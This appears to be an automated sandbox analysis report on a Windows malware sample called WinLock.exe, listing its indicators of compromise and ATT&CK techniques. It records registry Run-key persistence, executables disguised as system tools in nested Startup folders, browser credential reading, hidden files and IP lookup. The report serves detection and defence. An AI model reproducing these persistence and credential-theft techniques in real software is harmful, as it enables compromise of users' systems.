677dd9b1eedf53107fdf25be352a13f3ef3c7a7ccc7089f5febbf4251257b0ed

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe	WinLock.exe

Executes dropped EXE 58 IoCs

pid	Process
9140	takeown.exe
276	wiaacmgr.exe
10508	CertEnrollCtrl.exe
4808	takeown.exe
8752	ctfmon.exe
11380	iexpress.exe
11396	cipher.exe
5988	xcopy.exe
9048	explorer.exe
5380	winrshost.exe
11388	RMActivate_ssp_isv.exe
1836	vcredist_x86.exe
9624	net1.exe
2128	net1.exe
8248	WPDShextAutoplay.exe
8136	Netplwiz.exe
11576	ktmutil.exe
12520	net1.exe
13088	ctfmon.exe
12412	compact.exe
13076	WerFault.exe
12248	LaunchTM.exe
12232	dccw.exe
6800	WPDShextAutoplay.exe
11704	ftp.exe
11344	srdelayed.exe
8640	AssertMerge.exe
13068	CertEnrollCtrl.exe
12724	convert.exe
4092	compact.exe
8964	xcopy.exe
12168	UserAccountControlSettings.exe
5276	net1.exe
8464	WPDShextAutoplay.exe
12108	cipher.exe
1516	net1.exe
12444	net1.exe
428	setup.exe
6604	subst.exe
12568	Netplwiz.exe
8848	ctfmon.exe
5648	takeown.exe
9816	RMActivate_ssp_isv.exe
12808	where.exe
10028	cipher.exe
7976	clip.exe
2128	TCPSVCS.EXE
11620	EhStorAuthn.exe
5644	net1.exe
12984	sxstrace.exe
8884	lodctr.exe
10704	dxdiag.exe
12600	RunLegacyCPLElevated.exe
12160	lodctr.exe
8136	EhStorAuthn.exe
13248	mspaint.exe
13152	comp.exe
6224	cipher.exe

Modifies file permissions 1 TTPs 4 IoCs

File and Directory Permissions Modification

T1222

pid	Process
9140	takeown.exe
4808	takeown.exe
5648	takeown.exe
15028	Process not Found

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\systeminfo_32 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\systeminfo.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\explorer_13 = "\"C:\\ProgramData\\Oracle\\Logs\\explorer.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\explorer_13 = "\"C:\\ProgramData\\Oracle\\Logs\\UpdateCache\\explorer.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\vcredist_x86_8 = "\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\UpdateCache\\vcredist_x86.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\mspaint_30 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\acrocef_low\\Logs\\mspaint.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_24 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\lodctr_26 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Logs\\UpdateCache\\lodctr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\instnm_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Google\\Logs\\UpdateCache\\UpdateCache\\instnm.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\mspaint_10 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\acrocef_low\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\mspaint.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\AssertMerge_26 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UnprotectConvertFrom\\UpdateCache\\UpdateCache\\AssertMerge.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\userinit_11 = "\"C:\\Users\\Admin\\AppData\\Roaming\\PublishRevoke\\Logs\\UpdateCache\\userinit.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\iscsicpl_25 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\hsperfdata_Admin\\Logs\\UpdateCache\\iscsicpl.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_11 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\RdpSaProxy_32 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\RdpSaProxy.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\RMActivate_ssp_isv_21 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UninstallPop\\Logs\\UpdateCache\\RMActivate_ssp_isv.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\fc_8 = "\"C:\\ProgramData\\ssh\\Logs\\UpdateCache\\UpdateCache\\fc.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_14 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\cttune_17 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\cttune.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\where_7 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\UpdateCache\\where.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\typeperf_3 = "\"C:\\ProgramData\\MicrosoftService\\typeperf.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\EhStorAuthn_22 = "\"C:\\Users\\Admin\\AppData\\Local\\PeerDistRepub\\Logs\\UpdateCache\\UpdateCache\\EhStorAuthn.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\takeown_16 = "\"C:\\Users\\Admin\\AppData\\Roaming\\ImportWrite\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\takeown.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShowUnpublish_26 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UnprotectConvertFrom\\UpdateCache\\ShowUnpublish.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\lodctr_15 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{45447235-15B8-4571-A2AB-5C8F754C1886}\\Logs\\lodctr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\AssertMerge_16 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UnprotectConvertFrom\\UpdateCache\\AssertMerge.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\mspaint_5 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\acrocef_low\\Logs\\UpdateCache\\mspaint.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\raserver_18 = "\"C:\\ProgramData\\MicrosoftService\\raserver.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_19 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\RMActivate_ssp_isv_31 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UninstallPop\\Logs\\UpdateCache\\RMActivate_ssp_isv.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\convert_2 = "\"C:\\Users\\Admin\\AppData\\Local\\D3DSCache\\Logs\\UpdateCache\\convert.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\mfpmp_28 = "\"C:\\ProgramData\\regid.1991-06.com.microsoft\\Logs\\UpdateCache\\mfpmp.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\comp_30 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\OneNote\\Logs\\UpdateCache\\comp.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\wiaacmgr_2 = "\"C:\\Users\\Admin\\AppData\\Local\\ConnectedDevicesPlatform\\Logs\\UpdateCache\\wiaacmgr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\lodctr_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Logs\\UpdateCache\\UpdateCache\\lodctr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\wiaacmgr_7 = "\"C:\\Users\\Admin\\AppData\\Local\\ConnectedDevicesPlatform\\Logs\\wiaacmgr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\srdelayed_10 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\\Logs\\srdelayed.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCPSVCS_32 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\TCPSVCS.EXE\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_29 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\takeown_1 = "\"C:\\Users\\Admin\\AppData\\Roaming\\ImportWrite\\Logs\\UpdateCache\\UpdateCache\\takeown.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\mfpmp_8 = "\"C:\\ProgramData\\regid.1991-06.com.microsoft\\Logs\\UpdateCache\\mfpmp.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\xwizard_8 = "\"C:\\ProgramData\\Microsoft OneDrive\\Logs\\xwizard.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\wiaacmgr_12 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\wiaacmgr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\UserAccountControlSettings_17 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\UserAccountControlSettings.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\dxdiag_7 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\dxdiag.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\convert_7 = "\"C:\\Users\\Admin\\AppData\\Local\\D3DSCache\\Logs\\UpdateCache\\convert.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\wiaacmgr_22 = "\"C:\\Users\\Admin\\AppData\\Local\\ConnectedDevicesPlatform\\Logs\\UpdateCache\\wiaacmgr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\RunLegacyCPLElevated_6 = "\"C:\\Users\\Admin\\AppData\\Roaming\\SuspendApprove\\Logs\\UpdateCache\\UpdateCache\\RunLegacyCPLElevated.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\WPDShextAutoplay_17 = "\"C:\\Users\\Admin\\AppData\\Local\\Adobe\\Logs\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\WPDShextAutoplay.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\doskey = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_4 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\where_27 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\where.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\clip_5 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\mozilla-temp-files\\Logs\\UpdateCache\\clip.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\srdelayed_10 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\\Logs\\UpdateCache\\srdelayed.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\RMActivate_7 = "\"C:\\Users\\Admin\\AppData\\Local\\MicrosoftService\\RMActivate.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\AssertMerge_21 = "\"C:\\Users\\Admin\\AppData\\Roaming\\UnprotectConvertFrom\\UpdateCache\\UpdateCache\\AssertMerge.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\ctfmon_21 = "\"C:\\Users\\Admin\\AppData\\Roaming\\BlockShow\\Logs\\UpdateCache\\ctfmon.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\EhStorAuthn_17 = "\"C:\\Users\\Admin\\AppData\\Local\\PeerDistRepub\\Logs\\UpdateCache\\EhStorAuthn.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\lodctr_6 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Logs\\UpdateCache\\lodctr.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\WPDShextAutoplay_2 = "\"C:\\Users\\Admin\\AppData\\Local\\Adobe\\Logs\\WPDShextAutoplay.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\CertEnrollCtrl_3 = "\"C:\\ProgramData\\MicrosoftService\\CertEnrollCtrl.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_14 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\cipher_20 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\Outlook Logging\\Logs\\UpdateCache\\cipher.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_24 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\net1_26 = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\MicrosoftService\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\UpdateCache\\net1.exe\" --guard"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
10	api.ipify.org

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4504	cmd.exe
5492	cmd.exe
4512	cmd.exe
4696	cmd.exe
3760	cmd.exe
2828	cmd.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
8208	Process not Found
12492	Process not Found
14480	cmd.exe
15124	Process not Found
1172	cmd.exe
7292	cmd.exe
9540	Process not Found
5592	Process not Found
10528	Process not Found
10552	Process not Found
11068	Process not Found
6368	Process not Found
9060	cmd.exe
8024	Process not Found
13932	Process not Found
9364	cmd.exe
5024	Process not Found
11796	Process not Found
10932	cmd.exe
3844	cmd.exe
12988	Process not Found
6836	Process not Found
12064	Process not Found
2616	cmd.exe
7068	Process not Found
12276	Process not Found
6968	cmd.exe
5368	cmd.exe
11012	cmd.exe
12836	Process not Found
9048	Process not Found
5612	Process not Found
13640	Process not Found
8932	Process not Found
696	Process not Found
6160	Process not Found
8544	Process not Found
14744	cmd.exe
11596	Process not Found
5544	Process not Found
7392	Process not Found
13568	Process not Found
11652	cmd.exe
12884	cmd.exe
6876	Process not Found
14856	Process not Found
13400	Process not Found
8904	Process not Found
5036	Process not Found
10836	cmd.exe
7152	Process not Found
10104	Process not Found
13224	Process not Found
11584	Process not Found
11604	Process not Found
14732	Process not Found
11180	Process not Found
4868	Process not Found
12472	cmd.exe
3560	Process not Found
7908	Process not Found
10868	cmd.exe
11532	cmd.exe
12068	Process not Found

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RMActivate_ssp_isv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RunLegacyCPLElevated.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Netplwiz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ctfmon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
